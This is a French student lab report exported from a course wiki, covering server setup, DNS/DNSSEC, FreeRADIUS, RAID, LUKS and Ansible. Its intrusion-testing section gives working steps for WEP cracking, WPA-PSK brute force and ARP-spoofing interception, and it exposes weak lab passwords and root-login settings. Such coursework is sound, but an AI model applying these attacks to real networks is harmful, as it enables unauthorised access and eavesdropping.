On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Nous avons résumé les étapes réalisés dans le fichier suivant : [[Média:Intrusion_serveur_Web_Jacquot_Wadbled.zip]] <br />
<br />
Le mot de passe pour pouvoir lire ce fichier est le mot de passe de root@honey.plil.info.<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: "{ { item } }"<br />
dest: "/etc/consul/{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- config.json<br />
- web.json<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
register: systemd<br />
<br />
- name: Deamon reload<br />
systemd:<br />
daemon_reload: true<br />
when: systemd.changed<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
(Sans les espaces des accolades encore une fois)<br />
Le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap_expect": 2,<br />
"retry_join": ["172.26.145.101"],<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Et le fichier <code>roles/consul/files/web.json</code> contient : <br />
<br />
{<br />
"service": {<br />
"name": "web-bellerose",<br />
"tags": ["boris","louis","web"],<br />
"port": 80<br />
},<br />
<br />
"check": {<br />
"id": "webport",<br />
"name": "Simple HTTP GET",<br />
"method": "GET",<br />
"http": "http://172.26.145.106",<br />
"interval": "10s",<br />
"timeout": "1s"<br />
}<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là. Pour voir le résultat: http://172.26.145.106:8500<br />
<br />
Cela nous donne :<br />
<br />
[[Fichier:screen_healthy.png|1000px|thumb|center|Tada]]</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Intrusion_serveur_Web_Jacquot_Wadbled.zip&diff=58065Fichier:Intrusion serveur Web Jacquot Wadbled.zip2022-01-12T16:00:42Z<p>Lwadbled : </p>
<hr />
<div></div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=58064TP sysres IMA5 2021/2022 G62022-01-12T15:58:50Z<p>Lwadbled : /* Intrusion sur un serveur d’application Web */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
